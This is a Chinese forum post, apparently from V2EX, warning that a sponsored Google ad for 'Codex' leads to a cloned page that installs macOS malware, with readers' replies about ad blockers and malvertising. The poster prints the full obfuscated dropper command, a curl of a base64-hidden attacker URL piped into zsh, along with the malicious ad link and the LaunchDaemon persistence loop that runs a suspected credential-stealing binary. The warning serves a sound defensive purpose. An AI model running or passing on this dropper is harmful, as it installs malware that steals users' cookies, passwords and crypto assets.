紧急避雷！ google 搜 Codex 第一个结果是个病毒，千万别装，我已中招！

• 请不要在回答技术问题时复制粘贴 AI 生成的内容

rt ，这个也确实怪我大意了，不小心中招了，发个帖希望各位站友别犯错

今天用 cc 编码，minmax 模型实在是问题多，我就去 google 搜 codex 官网，下载 codex 试试的搜索的第一个我就点击进去了（截止发帖时间，依然在第一个），我后面对比了下与 chatgpt 的页面一毛一样 google 截图

然后我点击第一个链接进去后，按照页面提示点击安装按钮

安装命令我贴出来下

echo "Downloading Codex: https://chatgpt.com/codex-app/Codex.dmg" && curl -s $(echo "aHR0cHM6Ly9ncmVlbmFjdGl2LmNvbS9jdXJsLzRhZjU5ZjBmYTY3YjI5MDljOWQxMWFmM2UwMmE3OTE4MjcxMDhlMmQ1MjU5OGMyN2Y2Mjg2NmEwNDAzMDk2Mzc=" | openssl base64 -d -A) | zsh

这个脚本各种混淆，以及 echo 复杂。。翻译了好半天才找到位置

Supplement 1 · 20 mins ago

我的系统是mac ，m3，当前搜索的结果的第一个依然是有病毒的那个，链接地址是：https://sites.google.com/view/mcodxa05?gad_source=1&gad_campaignid=23830654967&gbraid=0AAAABCyPF1X_F5PgAUkSXPc81geK40xyU&gclid=Cj0KCQjw_IXQBhCkARIsADqELbIIIUvj_LG5kiLa0FV0sMTckIfL_HIk4W7aYRY-J-e1PJ3eLmYR86UaAo_iEALw_wcB

病毒的情况是：我安装后，提示我输入密码，我输入后在/Library/LaunchDaemons 中增加一个启动项，启动的内容是home目录下， /Users/xxx/Library/Application Support/.com.apple.accountsd/.service .service的内容在下面，每一秒启动一次AccountsHelper，AccountsHelper是一个二进制程序看不到内容，gemini 给分析是在不断获取cookies 、账号密码加密货币等信息

while true; do

    osascript <<EOF

set loginContent to do shell script "stat -f \"%Su\" /dev/console"

if loginContent is not equal to "" and loginContent is not equal to "root"

    do shell script "sudo -u " & quoted form of loginContent & " '/Users/zrc/Library/Application Support/.com.apple.accountsd/AccountsHelper'"

end if

EOF

    sleep 1

done

Codex

病毒

警惕

30 replies • 2026-05-12 08:24:06 +08:00

mangmaimu

9h 27m ago via iPhone

从来没看到过赞助商广告，不知道是区域不同，还是 adguard 或者 UBlock 过滤了

zrc

9h 24m ago

是我太大意了。。走的代理，区域是香港。
这个域名还是 business.google.com 第一眼看是 google 的域名，也就点进去了。。唉，长记性了

HFX3389

9h 22m ago

前面给个真的，后面掺上假的

shoaly

9h 14m ago

装一个去广告插件的重要性就来了

since2021

9h 13m ago

为什么不装 ubo ～

dryyun

9h 8m ago

@zrc #2 这域名不是 google.com 域名吗？看着二级域名不同而已。

AlexaZhou

9h 8m ago

我一直觉得这种复制一个命令，让用户自己来安装软件的方式，对用户非常危险，根本就不知道装了什么，有没有病毒，今天这就有人中招了

建议大家要抵制这种，尽量不要用这种方式安装

zrc

9h 3m ago via Android

@dryyun 是啊，google 域名，而且这个链接已经 100 万次点击，不知道有多少人中招了

psllll

9h 3m ago

这网站怎么 520 了

e23nome

9h 2m ago

@since2021 有数据称 32.5%的美国互联网用户会使用广告拦截工具。

所以美国的虚假竞价排名广告的受害者也是很多的。这也是为什么有这种赞助商广告，并附加月访问量超过 100 万次的背书（虽然有知识的人会觉得太少了）。

谷歌和脸书的收入里相当比例的都是这种诈骗/虚假/恶意广告，哈哈。

e23nome

8h 55m ago

而且这个图（去红框）喂给 AI ，AI 很容易告诉你这个广告是假的。

为啥谷歌投放广告的入口却没有 AI 筛查，就不得而知了。

e23nome

8h 50m ago

chatGPT 说

2. 第二个广告：business.google.com / Install ChatGPT Codex
这个比较奇怪。标题是 ChatGPT Codex ，但显示域名是 business.google.com 。不一定就是诈骗，也可能是 Google Business/广告跳转配置问题，但我会谨慎，不建议点。

我的之所以是第二个，因为我的搜索页面显示了两个赞助商广告，第一个是 openAI 自己投的。

realpg

PRO

8h 37m ago

google 搜出来竞价病毒：大家警惕避雷
百度搜出来竞价虚假网站：百度傻逼百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx 百度 xxx